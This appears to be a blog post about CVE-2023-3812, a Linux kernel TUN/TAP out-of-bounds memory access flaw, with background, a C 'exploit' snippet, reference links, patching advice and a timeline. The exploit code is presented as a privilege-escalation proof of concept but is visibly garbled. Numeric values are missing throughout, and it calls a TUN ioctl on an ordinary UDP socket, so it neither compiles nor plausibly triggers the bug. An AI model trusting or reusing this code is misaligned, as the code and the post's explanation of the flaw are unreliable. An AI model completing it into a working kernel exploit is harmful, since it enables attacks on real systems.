A critical vulnerability has been discovered in the Linux kernel, specifically in the TUN/TAP (network tunnel) device driver. The vulnerability, assigned as CVE-2023-3812, could allow a local attacker to crash the system or potentially escalate their privileges. This vulnerability is particularly concerning when napi frags is enabled, which is a common configuration. This post will provide an in-depth explanation of the exploit, including a code snippet, original references, and details on how the exploit works. Please note that the information provided is for educational and informational purposes only.

Background

TUN/TAP provides a way to create virtual network interfaces in Linux. It is often used in VPN and network simulation applications. An out-of-bounds memory access flaw was found in TUN/TAP's handling of networking packets when napi frags is enabled.

Exploit Details

When napi frags is enabled, the kernel allows a user to create a malicious networking packet with a size exceeding the allowed limit. This causes an out-of-bounds memory access, which in turn can lead to a crash or privilege escalation.

The following code snippet shows a potential exploit using this vulnerability

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define ATTACK_PACKET_SIZE 300

int main() {
    int fd;
    struct ifreq ifr;

    // Create a socket
    if ((fd = socket(AF_INET, SOCK_DGRAM, )) < ) {
        perror("socket");
        return 1;
    }

    // Set up the TUN/TAP device
    memset(&ifr, , sizeof(ifr));
    strncpy(ifr.ifr_name, "tap", IFNAMSIZ);
    if (ioctl(fd, TUNSIFMODE, &ifr) < ) {
        perror("TUNSIFMODE");
        close(fd);
        return 2;
    }

    // Create a malicious packet
    char *pkt_data = malloc(ATTACK_PACKET_SIZE);
    memset(pkt_data, 'A', ATTACK_PACKET_SIZE);

    // Send the packet to the device
    int sent_size = sendto(fd, pkt_data, ATTACK_PACKET_SIZE, , NULL, );
    if (sent_size != ATTACK_PACKET_SIZE) {
        perror("sendto");
        free(pkt_data);
        close(fd);
        return 3;
    }

    // cleanup
    free(pkt_data);
    close(fd);

    return ;
}

The exploit involves creating a malicious packet with a larger size than allowed and sending it to the TUN/TAP device. The vulnerable code in the Linux kernel fails to properly check for this type of oversized packet and subsequently accesses memory outside of bounds.

1. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3812
2. NVD (National Vulnerability Database): https://nvd.nist.gov/vuln/detail/CVE-2023-3812
3. Linux Kernel Mailing List: https://lkml.org/lkml/2023/2/18/26

Mitigation

A patch has been released to address this vulnerability. It is strongly recommended to update your Linux kernel to the latest version or at least the minimum version that contains the patch for this specific vulnerability. Also, ensure that your system's software, including the TUN/TAP driver, stays up-to-date to minimize the risk posed by such vulnerabilities.

Conclusion

The Linux kernel CVE-2023-3812 out-of-bounds memory access vulnerability in the TUN/TAP driver is a critical flaw that could allow an attacker to crash the system or escalate their privileges. It is essential to apply the necessary patches or updates to protect your system from this significant vulnerability.

Timeline

Published on: 07/24/2023 16:15:00 UTC
Last modified on: 08/02/2023 15:09:00 UTC